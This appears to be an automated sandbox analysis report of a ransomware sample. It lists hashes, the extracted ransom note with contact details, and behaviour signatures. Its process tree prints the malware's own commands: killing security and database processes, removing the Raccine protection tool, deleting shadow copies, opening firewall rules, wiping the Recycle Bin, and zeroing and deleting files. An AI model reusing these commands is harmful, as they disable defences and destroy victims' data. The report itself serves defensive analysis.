Overview

overview

10

Static

static

10

c03354d95b...4c.exe

windows7_x64

10

c03354d95b...4c.exe

windows10_x64

10

Analysis

  • max time kernel
    118s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    29-10-2021 15:49

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c03354d95bf66aa1f87a9889bdca3b87819a06a8bd49a69153e3fd4138a4a34c.exe

  • Size

    203KB

  • MD5

    cefd366a2c000d9bbbd35dfd0a73311d

  • SHA1

    0864171c1e033067b04317979803d97f1c90c85b

  • SHA256

    c03354d95bf66aa1f87a9889bdca3b87819a06a8bd49a69153e3fd4138a4a34c

  • SHA512

    5f43b27b0495afb6ded495816405efe4a0d77b9991f56b7bfd09cd56d3ae890ec8dc2461a1806b2131edeaafc15d3478b471d1ef0376f9f78128eff539451040

Score
10/10
evasionpersistenceransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\HOW_TO_RECOVER_MY_FILES.txt

Ransom Note
ALL YOUR FILES HAS BEEN ENCRYPTED! ALL YOUR FILES HAVE NOW THE .LOCKED EXTENSION! TO DE-CRYPT YOUR FILES, CONTACT US HERE: 1- Download qTox >>> https://tox.chat/download.html 2- Install qTox and make a profile, after you have done this: 3- Use this TOX-ID (Copy + Paste): FF45ED6FCE4433D273E34DA1C22AC1B0290973082BE068066D5EDF6C62EF39500A691BDE33B9 and make a friend request, after 5 minutes, you will be in contact with our negotiator. If you want proof, attach 2-3 encrypted files together with the Key ID (you can find the Key-ID in the How-To-Recover-My-Files document on your Desktop,) less then 5Mb each, non-archived and your files should not contain valuable information, like Databases, back-ups, large excel sheets, etc. You will receive decrypted samples and our conditions how to get the decoder. Please don't forget to write the name of your company in the subject of your e-mail! Alternatively, please get in touch with the negotiator at the following email address: [email protected] Key Identifier: LjqyEfdX+jDDhC1aV62UQ5a6cCb1cZuUgN8e29VcKpyy9AL/OMcz9OSgswuWxkJPfxKIqqDjfCJeGm4LD3BIX+cUVdAd4+f5mc0KOoWxSTmJ4psJ5uPUqOdPXo5SkWzQBDxR4QVZ0JDdlGj974yH5UpDQAuU6f8RQ39IBFe2sUzhywIPEQE6EKUEXiNVjKKkZ0d4oeAxDTj6xbVJZEHqM+hxA40Smdr7J/Io3AqlLesGRXDR2fL9SXblR5FoQpWQRDKTjWgDOG4/U4XsCHPX7nvkeXMEPdZJhGV+HGMRLPBhy+uqoYMZQLn7lksgm4Yln/FhJ5LobgEQXZoAt3Du6QizlzPbtiqCDtfbaZ3AfBoo9B4g98N/XO5QsfRiZo7sWD4kQGJGTtUPFRNTJTOddS32u6jAFO/ZhoVrgs+wKBnQql0qaCH3rn/WxKiiXBMvzT69/BUIiiMkonv0qDlZEcbajIhoKTOxJLyVrUPOfzU6aSfbCgZhsd/s5AKFegirzC1wm6E14uh5U6300Wpex81/g+UdGgCyVU19Y/6+ADFLq3idJlZM2X+Sw6gu8i2xgKmRomRrvCIcd0bSx4H/fpy3dXycVxS/TUhniWiaoKboyIl20t1LfWN+JiDz2JB1hn9rpe/ISEu07WLjoxaQjh98aqnEBvRLsJ+o0EOJOpE=
URLs

https://tox.chat/download.html

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 11 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 2 IoCs
    persistence
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 48 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\c03354d95bf66aa1f87a9889bdca3b87819a06a8bd49a69153e3fd4138a4a34c.exe
    "C:\Users\Admin\AppData\Local\Temp\c03354d95bf66aa1f87a9889bdca3b87819a06a8bd49a69153e3fd4138a4a34c.exe"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Enumerates connected drives
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:464
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1188
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:1068
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:1064
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:1828
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
            PID:840
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLTELEMETRY start= disabled
            2⤵
              PID:1672
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config FDResPub start= auto
              2⤵
                PID:2032
              • C:\Windows\SysWOW64\sc.exe
                "sc.exe" config SSDPSRV start= auto
                2⤵
                  PID:1756
                • C:\Windows\SysWOW64\sc.exe
                  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                  2⤵
                    PID:2036
                  • C:\Windows\SysWOW64\sc.exe
                    "sc.exe" config SstpSvc start= disabled
                    2⤵
                      PID:1112
                    • C:\Windows\SysWOW64\sc.exe
                      "sc.exe" config upnphost start= auto
                      2⤵
                        PID:928
                      • C:\Windows\SysWOW64\sc.exe
                        "sc.exe" config SQLWriter start= disabled
                        2⤵
                          PID:908
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mspub.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:952
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mspub.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1592
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM synctime.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1768
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopqos.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1556
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM Ntrtscan.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1060
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysqld.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1916
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM isqlplussvc.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1728
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqbcoreservice.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:984
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopservice.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1940
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM onenote.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1628
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM firefoxconfig.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1712
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM encsvc.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1716
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM excel.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1688
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM agntsvc.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1776
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM dbeng50.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1076
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM PccNTMon.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1920
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM CNTAoSMgr.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1924
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM msaccess.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1164
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM thebat64.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:888
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM thebat.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1504
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlwriter.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1680
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ocomm.exe /F
                          2⤵
                          • Kills process with taskkill
                          PID:1292
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM infopath.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:912
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM outlook.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1612
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM steam.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1228
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM tbirdconfig.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1588
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mbamtray.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1908
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM tmlisten.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1496
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" IM thunderbird.exe /F
                          2⤵
                          • Kills process with taskkill
                          PID:1912
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM wordpad.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1044
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM dbsnmp.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2032
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM msftesql.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:888
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM zoolz.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1828
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysqld-opt.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1164
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM powerpnt.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1548
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM xfssvccon.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:288
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ocautoupds.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:548
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopqos.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1112
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM ocssd.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2024
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM visio.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1916
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM oracle.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1476
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlagent.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1376
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mydesktopservice.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1888
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlbrowser.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1724
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM winword.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1676
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM sqlservr.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1276
                        • C:\Windows\SysWOW64\taskkill.exe
                          "taskkill.exe" /IM mysqld-nt.exe /F
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1768
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                          2⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1060
                        • C:\Windows\SysWOW64\netsh.exe
                          "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                          2⤵
                            PID:1556
                          • C:\Windows\SysWOW64\netsh.exe
                            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                            2⤵
                              PID:1900
                            • C:\Windows\SysWOW64\arp.exe
                              "arp" -a
                              2⤵
                                PID:1472
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                2⤵
                                  PID:1064
                                • C:\Windows\SysWOW64\netsh.exe
                                  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                  2⤵
                                    PID:1168
                                  • C:\Windows\SysWOW64\netsh.exe
                                    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                    2⤵
                                      PID:1908
                                    • C:\Windows\SysWOW64\arp.exe
                                      "arp" -a
                                      2⤵
                                        PID:912
                                      • C:\Windows\SysWOW64\mshta.exe
                                        "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_RECOVER_MY_FILES.hta
                                        2⤵
                                        • Blocklisted process makes network request
                                        • Modifies Internet Explorer settings
                                        • Modifies system certificate store
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        PID:828
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                                        2⤵
                                          PID:1124
                                          • C:\Windows\SysWOW64\PING.EXE
                                            ping 127.0.0.7 -n 3
                                            3⤵
                                            • Runs ping.exe
                                            PID:1232
                                          • C:\Windows\SysWOW64\fsutil.exe
                                            fsutil file setZeroData offset=0 length=524288 “%s”
                                            3⤵
                                              PID:1496
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\c03354d95bf66aa1f87a9889bdca3b87819a06a8bd49a69153e3fd4138a4a34c.exe
                                            2⤵
                                            • Deletes itself
                                            PID:948
                                            • C:\Windows\SysWOW64\choice.exe
                                              choice /C Y /N /D Y /T 3
                                              3⤵
                                                PID:1448

                                          Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • memory/464-57-0x00000000040D0000-0x00000000040D1000-memory.dmp

                                            Filesize

                                            4KB

                                            Download

                                          • memory/464-55-0x00000000003A0000-0x00000000003A1000-memory.dmp

                                            Filesize

                                            4KB

                                            Download

                                          • memory/1060-119-0x00000000024A0000-0x00000000030EA000-memory.dmp

                                            Filesize

                                            12.3MB

                                            Download

                                          • memory/1060-118-0x0000000075F41000-0x0000000075F43000-memory.dmp

                                            Filesize

                                            8KB

                                            Download